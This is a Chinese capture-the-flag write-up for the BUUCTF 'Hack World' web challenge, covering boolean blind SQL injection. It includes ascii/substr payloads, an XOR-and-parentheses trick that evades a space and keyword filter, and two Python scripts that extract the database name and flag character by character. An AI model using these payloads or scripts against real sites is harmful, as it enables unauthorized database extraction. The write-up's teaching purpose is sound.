BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

id=0 id=1 id=2 id=3 

发现结果不同，尝试 : ">4","=4","<4" : 

在本身的环境下验证一下：

 爆一下数据库：

id=(ascii(substr(database(),1,1))>32)

''' @Modify Time @Author ------------ ------- 2019/10/25 19:28 laoalo '''
import requests from lxml import etree def a(): url="http://6a93b089-ace7-4ece-8334-b10dd79ac360.node3.buuoj.cn/" flag="Hello, glzjin wants a girlfriend." final="" stop=0 for i in range(1,129): print("*"*50,i,"*"*50) stop=0 for j in range(32,129): stop = j data={"id":"(ascii(substr(database(),%d,1))=%d)" %(i,j)} # data={"id":"(ascii(substr((select flag from flag),%d,1))=%d)" %(i,j)}
             re = requests.post(url=url,data=data).text.replace('\n','') html = etree.HTML(re).xpath("//text()") print(">>",html) if flag in html: final+=chr(j) print("\n\t\t\t\t",final) break

         if stop >= 128: print("*"*50,"结束") print(">>",final) break

if __name__ == '__main__': a()

View Code

过滤如何处理： 

在爆flag的时候发现有过滤 :select,show,""……非常难受，后来在师傅的博客上看到了这种方法：

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

1^1=0 ，0^0=0 ，0^1=1

1^1^1=0， 1^1^0=0
构造payload:1^ascii(mid(database(),1,1)=98)^0

注意这里会多加一个^0或1是由于在盲注的时候可能出现了语法错误也没法判断,而改变这里的0或1,若是返回的结果是不一样的,那就能够证实语法是没有问题的

其实不用抑或也行：

id=(ascii(substr((select(flag)from(flag)),1,1))<128)

 竟然去掉空格就成功绕过了Orz，这个方法要学习一下，这里贴一下个人脚本，没有用二分十分简单的枚举：

''' @Modify Time @Author ------------ ------- 2019/10/25 19:28 laoalo ''' import requests from lxml import etree def a(): url="http://6a93b089-ace7-4ece-8334-b10dd79ac360.node3.buuoj.cn/" flag="Hello, glzjin wants a girlfriend." final="" stop=0 for i in range(1,1290): print("*"*50,i,"*"*50) stop=0 for j in range(32,129): stop = j data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)} re = requests.post(url=url,data=data).text.replace('\n','') html = etree.HTML(re).xpath("//text()") # print(">>",html) if flag in html: final+=chr(j) print("\n\t\t\t\t",final) break if stop >= 128: print("*"*50,"结束") print(">>",final) break if __name__ == '__main__': a()

 

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参考资料：

SQL注入学习总结(八):其余SQL注入的异或注入：https://blog.csdn.net/weixin_30740295/article/details/96833688

buuctf-web-[CISCN2019 华北赛区 Day2 Web1]Hack World：https://blog.csdn.net/weixin_43345082/article/details/99062970